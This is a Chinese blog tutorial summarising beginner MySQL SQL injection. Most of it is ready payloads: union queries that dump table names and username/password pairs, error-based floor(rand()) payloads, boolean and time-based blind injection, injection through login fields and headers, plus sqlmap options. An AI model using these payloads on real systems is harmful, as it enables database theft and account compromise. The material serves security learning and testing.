• 初阶sql注入总结




    0x00 前言

    sql注入是通过用户输入构造语句以实现目的。一句话,不要相信任何用户输入的内容,做好防护。

    0x01 传参方式

    传参方式一般通过get方式,或者post方式提交,前者的优点是效率高,后者的优点是安全性好、参数的长度长。在sql注入攻击中,通常会选择用户输入内容的地方进行攻击。除此之外,http header中也存在sql注入,比如referer,cookie等等。所以思路一定要开阔,凡是输入数据库的内容都有可能是突破口。

    0x02 常用的mysql语句

    如下是注入过程中常猜测的语句:

    (1)SELECT 列名称 FROM 表名称 WHERE 条件 #从表中选取数据

    exp:select username,password from users where id=input

    (2)UPDATE 表名称 SET 列名称=新值 WHERE 其他列名称 = 某值 #修改表中某值

    exp:update users set password=’inputpass’ where username=’inputuser’

    (3)insert into 表名称 values (值1,值2,…….) #向表格中插入新的行,其中values中插入的值可为逻辑运算的结果

    exp:insert into users values (’15’,’name’,’pass’)

    如下是注入常用操作:

    (1)注释符:# , –+ , //
    (2)联合查询:UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
    (3)ORDER BY 语句用于对结果集进行排序,注入攻击中用于测试列的数量。
    (4)group_concat() 会计算哪些行属于同一组,将属于同一组的列显示出来。攻击时使用他的主要目的是将字段同时显示出来。
    (5)count() 统计元祖的个数。
    (6)rand() 用于产生一个0~1的随机数。
    (7)floor() 向下取整。
    (8)group by 依据我们想要的规则,对结果进行分组(会对规则进行排序)。
    (9)outfile select from … where … into outfile ‘目标文件’ 将表的内容导出成为一个文本文件。
    (10)dumpfile select from … limit 0,1 where … into dumpfile ‘目标文件’ 将其中一行导出成文件,所以要加limit。
    (11)load_file select load_file(‘目标文件’) 载入上述文件。
    (12)length()返回字符串长度。
    (13)substr()截取字符串 substr(字符串,位置,长度) substr(database(),1,1) 。
    (14)ascii()返回字符的ascii码 #通过>,<,=对字符的ascii进行缩小范围,从而确定字符。
    (15)sleep(n)程序挂起n秒。用于时间盲注。
    (16)if(a,b,c) 相同于a?b:c

    0x03 sql注入语句的构造

    (1)SELECT 列名称 FROM 表名称 WHERE 条件

    select username,password from users where id=input
    select username,password from users where id=’input’
    select username,password from users where id=”input”
    select username,password from users where id=(‘input’)

    以第二个为例:
    I.联合查询的注入

    1)
    测试猜测语句,分别尝试输入:’ ” ‘) / 测试是否报错
    2)
    测试:1′ or ‘1’=’1
    插入语句后成为:

    select username,password from users where id=’1′ or ‘1’=’1′

    完整闭合,语句可以正确执行
    或者 使用注释符使其闭合
    测试:

    1′ or 1=1#
    1′ or 1=1–+

    3)
    order by 语句测试列数

    1’order by 3#
    select username,password from users where id=’1’order by 3#’

    成功,则证明该语句没有错误,存在至少3列
    继续测试:1’order by 4# ,发现出错,证明该表共存在3列。
    4)
    union select 联合查询

    1’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’security’ –+

    concat() 爆出所有表名
    5)
    爆用户名、密码

    1’union select 1,group_concat(username,password),3 from users–+
    #也可以在1,2,3处替换任意其他命令

    II.基于报错的注入
    1)
    猜测注入语句,不再赘述.
    2)
    语句测试,当使用 1’union selcet 1,2,3 –+ 返回还是正常页面,因此我们要利用报错信息
    3)
    1′ and ( select 1 from (select count(),concat(‘~’,’~’,database(),’~’,’~’,floor(rand()2))name from information_schema.tables group by name)b)–+
    含义:取名concat(‘~’,’~’,database(),’~’,’~’,floor(rand()2))为name,count()name的个数,这时候会报错,从而爆出database()的值,’~’的用途在于方便识别。
    整个语句分析:
    整体相当于select 1 from b;
    其中b = select count(),concat(‘~’,’~’,database(),’~’,’~’,floor(rand()2))name from information_schema.tables group by name ,count()name的个数;
    name=concat(‘~’,’~’,database(),’~’,’~’,floor(rand()2))

    III.布尔盲注
    1)
    当出现无论输入任何语句页面只有两种情况的时候,即只存在正确页面和错误页面时,而不显示报错信息,这样我们就需要进行布尔盲注。通过猜测目标字符串字符的ascii码来确定字符,但该过程非常繁琐,自动化工具更方便一些。
    2)
    语句构造:

    1’ and (ascii(substr(database(),1,1)))>100 –+

    返回正确页面说明该范围正确,返回错误页面相当于范围不正确,最后用等号确定。

    IV.基于时间的盲注
    1)
    这种情况下就是所有语句下页面只存在正确的一种,这样就用到了基于时间的盲注,原理是如果正确就执行sleep()函数,使程序挂起,这样我们就可以知道语句正确还是错误了。一般使用sleep(5),使程序挂起5秒钟。
    2)
    语句构造:

    1′ and (select if (ascii(substr(database(),1,1))>100,sleep(5),NULL)) –+

    (2)UPDATE 表名称 SET 列名称=新值 WHERE 其他列名称 = 某值 #修改表中某值

    exp:update users set password=’inputpass’ where username=’inputuser’

    基于错误的sql注入
    语句构造:

    uname=admin&passwd=’ and (select 1 from (select count(*),(concat(“~”,database(),”~”,floor(rand()*2)))name from information_schema.tables group by name)b)#&submit=submit

    (3)insert into 表名称 values (值1,值2,…….) #向表格中插入新的行,其中values中插入的值可为逻辑运算的结果。
    这里我们的思路一定要开放,意识到注入点位置的广泛性。
    例如user-agent,http referer,都有可能存在注入点。
    基于错误的sql注入
    语句构造:

    1′,(select 1 from (select count(*),(concat(“~”,(select table_name from information_schema.tables where table_schema=database() limit 0,1),”~”,floor(rand()*2)))name from information_schema.tables group by name)b)

    0x04 个人常用的基于错误的语句

    1.(select 1 from (select count(*),(concat(“~”,(select table_name from information_schema.tables where table_schema=database() limit 0,1),”~”,floor(rand()*2)))name from information_schema.tables group by name)b) /*爆数据库*/
     2. (select 1 from (select count(*),(concat(“~”,current_user,”~”,floor(rand()*2)))name from information_schema.tables group by name)b) /*爆当前用户名*/
    3. (select 1 from (select count(*),(concat(“~”,(select username from users limit 0,1),”~”,floor(rand()*2)))name from information_schema.tables group by name)b) /*爆所有用户名*/

    附mysql中常见的系统函数及变量:

    user() 用户名;
    session_user() 连接数据库的用户名;
    database() 数据库名;
    version() MYSQL数据库版本;
    @@datadir 数据库路径;
    current_user 当前用户名;
    @@hostname 主机名;
    @@port 数据库端口;
    @@version_compile_os 操作系统;
    basedir MYSQL安装路径

    0x05 sqlmap使用

    sqlmap作为一款强大的注入工具必不可少,它可以进行post注入(–data),cookie注入(–cookie),自定义注入级别(–leval),自定义注入参数(-p),自定义延时时间(–delay),执行自定义python代码(–eval),注入payload(–prefix ; –suffix)

    0x06 总结

    sql注入的精髓就在于学会在任何位置发现注入点,并构造语句使sql命令得以执行,从而达到攻击的目的。要学会sqlmap等自动化工具的使用,这样可以大大提高效率,但与此同时,更要学会手工注入,这样才能真正理解sql注入的本质。最后,求大佬们不喷,还请师傅们多指教。

  • 相关阅读:
    freeswitch 对接IMS
    freeswitch对接北京移动IMS
    多台 FreeSWITCH 服务器级联
    FreeSWITCH代码分析
    软交换freeswitch系统概要和源代码分析初步
    SQL*Net message from client
    FreeSwitch下配置DID的方法
    FreeSWITCH实现多人来电思路
    SIP开源项目opensip,Freeswitch
    运行 FreeSWITCH
  • 原文地址:https://www.cnblogs.com/pshell/p/7490648.html
Copyright © 2020-2023  润新知